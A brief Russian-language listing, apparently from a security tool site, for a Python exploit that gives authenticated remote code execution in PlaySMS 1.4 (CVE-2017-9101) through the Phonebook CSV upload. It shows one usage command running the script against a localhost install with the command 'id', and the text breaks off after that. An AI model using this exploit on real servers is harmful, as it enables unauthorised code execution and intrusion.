CVE-2017-9101

PlaySMS 1.4: аутентифицированное RCE Простой способ выполнения удалённого кода через уязвимость загрузки CSV в модуле Phonebook, как описано на ExploitDB. Можно выполнить одну команду: root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing...